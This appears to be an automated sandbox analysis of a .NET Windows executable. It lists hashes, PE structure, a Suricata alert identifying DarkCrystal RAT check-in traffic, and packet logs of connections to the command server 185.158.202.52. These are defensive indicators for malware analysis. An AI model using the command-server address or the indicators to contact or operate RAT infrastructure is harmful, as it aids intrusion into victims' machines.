SHA256:	0b5266ad1c75b3a3d186a050f140ee2d11b076440320989bda85197d3716a3a1
SHA512:	e77d922f9bcc6e9f383d955623c532942f5d6fbc8f41f29d284a165abdb4d6a77ac76cbc1826dabf8bd14fbaa4257258e866c4330d30cf05f17e9b4313dd5f23
SSDEEP:	24576:0bTfyVA9AatfC65K16JPuO+Q3Qvi4m4B2g83KWlumjyICs7reNJCN5a4VznpQiCx:avpAwPDpa9mw2nKWljVeNJCyyVqVa
TLSH:	EB95AE1665A6DE33D27457328957113E9291C7363522FB0B3A1F60D2780BBF18F722AB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=yg................................. ........@.. .......................@............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x5df1ce
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67793DD0 [Sat Jan 4 13:55:28 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1df180	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1e0000	0x320	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1e2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1dd1d4	0x1dd200	285e8f32777f1451a2826ef409ab41da	False	0.7837874762575321	data	7.558242031794102	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1e0000	0x320	0x400	d05b66fd093f5688f9c78aee72f6d256	False	0.349609375	data	2.6430868172484443	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x1e2000	0xc	0x200	a31cc0beec5d922686c17188c421c75d	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1e0058	0x2c8	data			0.46207865168539325

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-07T11:57:14.136065+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49730	185.158.202.52	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 11:57:13.391383886 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:13.396162033 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:13.396307945 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:13.399939060 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:13.404711008 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:13.746246099 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:13.751056910 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.088145018 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.136065006 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:14.173059940 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.173073053 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.173118114 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:14.205744028 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:14.210581064 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.398860931 CET	49732	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:14.405754089 CET	80	49732	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.405831099 CET	49732	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:14.406008005 CET	49732	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:14.413077116 CET	80	49732	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.415920019 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.416313887 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:14.423213005 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.678610086 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.729831934 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:14.738513947 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:14.743236065 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.761149883 CET	49732	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:14.766017914 CET	80	49732	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.766028881 CET	80	49732	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.766036987 CET	80	49732	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.932333946 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.932606936 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:14.937442064 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:14.937638998 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:15.062171936 CET	80	49732	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:15.106247902 CET	49732	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:15.197273016 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:15.230092049 CET	80	49732	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:15.261065960 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:15.276700974 CET	49732	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:15.449542046 CET	49734	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:15.453423977 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:15.453880072 CET	49732	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:15.455487013 CET	80	49734	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:15.455576897 CET	49734	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:15.459507942 CET	80	49730	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:15.459597111 CET	49730	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:15.459737062 CET	80	49732	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:15.459780931 CET	49732	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:15.472419977 CET	49734	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:15.477144003 CET	80	49734	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:15.823748112 CET	49734	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:15.828707933 CET	80	49734	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:15.828722000 CET	80	49734	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:15.828732014 CET	80	49734	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.097291946 CET	80	49734	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.217178106 CET	49737	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:16.221934080 CET	80	49737	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.222018957 CET	49737	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:16.222125053 CET	49737	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:16.223203897 CET	80	49734	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.223257065 CET	49734	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:16.224627018 CET	49734	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:16.226886988 CET	80	49737	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.229639053 CET	80	49734	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.229693890 CET	49734	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:16.359443903 CET	49738	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:16.364284992 CET	80	49738	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.364347935 CET	49738	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:16.364454985 CET	49738	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:16.369227886 CET	80	49738	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.574150085 CET	49737	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:16.578953981 CET	80	49737	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.579154015 CET	80	49737	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.714334011 CET	49738	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:16.719505072 CET	80	49738	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.719522953 CET	80	49738	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.719533920 CET	80	49738	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.895900011 CET	80	49737	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:16.948568106 CET	49737	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.004218102 CET	80	49738	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:17.032717943 CET	80	49737	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:17.131869078 CET	80	49738	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:17.131943941 CET	49738	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.136625051 CET	49737	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.393979073 CET	49737	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.398924112 CET	80	49737	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:17.398977995 CET	49737	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.412466049 CET	49738	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.417494059 CET	80	49738	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:17.417548895 CET	49738	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.424352884 CET	49741	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.429140091 CET	80	49741	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:17.429208994 CET	49741	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.429282904 CET	49741	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.434025049 CET	80	49741	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:17.486988068 CET	49741	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.532341957 CET	80	49741	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:17.796386957 CET	49742	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.802465916 CET	80	49742	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:17.802546978 CET	49742	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.802684069 CET	49742	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:17.808667898 CET	80	49742	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:17.899226904 CET	80	49741	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:17.899286985 CET	49741	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:18.151851892 CET	49742	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:18.156714916 CET	80	49742	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:18.156729937 CET	80	49742	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:18.156745911 CET	80	49742	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:18.439106941 CET	80	49742	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:18.499475002 CET	49742	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:18.573005915 CET	80	49742	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:18.682981968 CET	49742	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:21.492659092 CET	49742	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:21.499099016 CET	80	49742	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:21.499166012 CET	49742	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:21.605212927 CET	49745	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:21.611404896 CET	80	49745	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:21.611473083 CET	49745	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:21.611577034 CET	49745	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:21.617516994 CET	80	49745	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:22.043296099 CET	49747	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:22.048196077 CET	80	49747	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:22.048269987 CET	49747	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:22.048356056 CET	49747	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:22.053133011 CET	80	49747	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:22.266911030 CET	80	49745	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:22.335910082 CET	49745	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:22.340713978 CET	80	49745	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:22.340764046 CET	80	49745	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:22.340773106 CET	80	49745	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:22.401784897 CET	49747	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:22.406589031 CET	80	49747	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:22.406666994 CET	80	49747	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:22.602164030 CET	80	49745	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:22.721086979 CET	80	49747	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:22.792349100 CET	49745	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:22.839226007 CET	49747	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:22.893515110 CET	80	49747	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:23.026721954 CET	49747	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:23.463829994 CET	49745	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:23.463876009 CET	49747	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:23.464967012 CET	49748	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:23.469801903 CET	80	49745	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:23.469837904 CET	80	49747	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:23.469849110 CET	80	49748	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:23.469850063 CET	49745	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:23.469891071 CET	49747	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:23.469916105 CET	49748	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:23.469995022 CET	49748	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:23.474715948 CET	80	49748	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:23.824059963 CET	49748	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:23.828941107 CET	80	49748	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:23.828950882 CET	80	49748	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:23.828958988 CET	80	49748	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:24.132811069 CET	80	49748	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:24.182955027 CET	49748	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:24.285155058 CET	80	49748	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:24.386097908 CET	49748	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:24.587824106 CET	49748	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:24.592924118 CET	80	49748	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:24.596496105 CET	49748	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:24.633285999 CET	49749	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:24.638062954 CET	80	49749	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:24.640283108 CET	49749	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:24.640384912 CET	49749	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:24.645203114 CET	80	49749	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:24.995634079 CET	49749	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:25.000761986 CET	80	49749	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:25.000801086 CET	80	49749	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:25.000829935 CET	80	49749	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:25.282749891 CET	80	49749	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:25.339220047 CET	49749	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:25.410613060 CET	80	49749	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:25.542336941 CET	49749	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:25.828860998 CET	49749	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:25.833920002 CET	80	49749	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:25.833972931 CET	49749	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:25.896194935 CET	49751	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:25.900999069 CET	80	49751	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:25.901073933 CET	49751	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:25.901210070 CET	49751	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:25.905939102 CET	80	49751	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:26.245579958 CET	49751	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:26.250504971 CET	80	49751	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:26.250519037 CET	80	49751	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:26.250528097 CET	80	49751	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:26.538075924 CET	80	49751	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:26.667781115 CET	80	49751	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:26.668206930 CET	49751	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:26.819953918 CET	49751	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:26.820981026 CET	49753	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:26.824963093 CET	80	49751	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:26.825838089 CET	80	49753	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:26.825897932 CET	49751	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:26.825921059 CET	49753	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:26.826067924 CET	49753	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:26.830810070 CET	80	49753	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:27.183049917 CET	49753	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:27.187918901 CET	80	49753	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:27.187932014 CET	80	49753	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:27.187941074 CET	80	49753	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:27.462770939 CET	80	49753	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:27.589226961 CET	49753	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:27.595046997 CET	80	49753	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:27.728836060 CET	49753	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:27.729458094 CET	49754	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:27.733891964 CET	80	49753	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:27.733998060 CET	49753	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:27.734304905 CET	80	49754	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:27.734385967 CET	49754	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:27.734493017 CET	49754	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:27.739263058 CET	80	49754	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:27.902921915 CET	49754	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:27.903353930 CET	49755	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:27.908143997 CET	80	49755	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:27.908219099 CET	49755	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:27.908358097 CET	49755	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:27.913162947 CET	80	49755	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:27.948337078 CET	80	49754	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.060627937 CET	49756	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:28.065486908 CET	80	49756	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.065552950 CET	49756	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:28.065671921 CET	49756	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:28.070466995 CET	80	49756	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.186043024 CET	80	49754	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.186163902 CET	49754	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:28.262236118 CET	49755	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:28.267049074 CET	80	49755	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.267144918 CET	80	49755	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.417445898 CET	49756	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:28.422311068 CET	80	49756	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.422326088 CET	80	49756	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.422333956 CET	80	49756	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.564624071 CET	80	49755	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.636096954 CET	49755	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:28.696059942 CET	80	49755	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.730254889 CET	80	49756	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:28.776727915 CET	49756	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:28.839308023 CET	49755	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:28.913186073 CET	80	49756	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:29.089236021 CET	49756	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:29.097203016 CET	49755	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:29.097204924 CET	49756	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:29.098231077 CET	49757	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:29.103030920 CET	80	49757	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:29.103144884 CET	49757	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:29.103249073 CET	49757	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:29.107953072 CET	80	49757	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:29.116166115 CET	80	49756	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:29.116178036 CET	80	49755	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:29.116249084 CET	49755	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:29.116266012 CET	49756	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:29.448698044 CET	49757	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:29.454066038 CET	80	49757	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:29.454081059 CET	80	49757	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:29.454090118 CET	80	49757	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:29.757549047 CET	80	49757	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:29.839215040 CET	49757	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:29.889111996 CET	80	49757	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:30.042346954 CET	49757	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:30.059890985 CET	49758	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:30.064663887 CET	80	49758	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:30.064798117 CET	49758	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:30.064829111 CET	49758	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:30.069535971 CET	80	49758	185.158.202.52	192.168.2.4
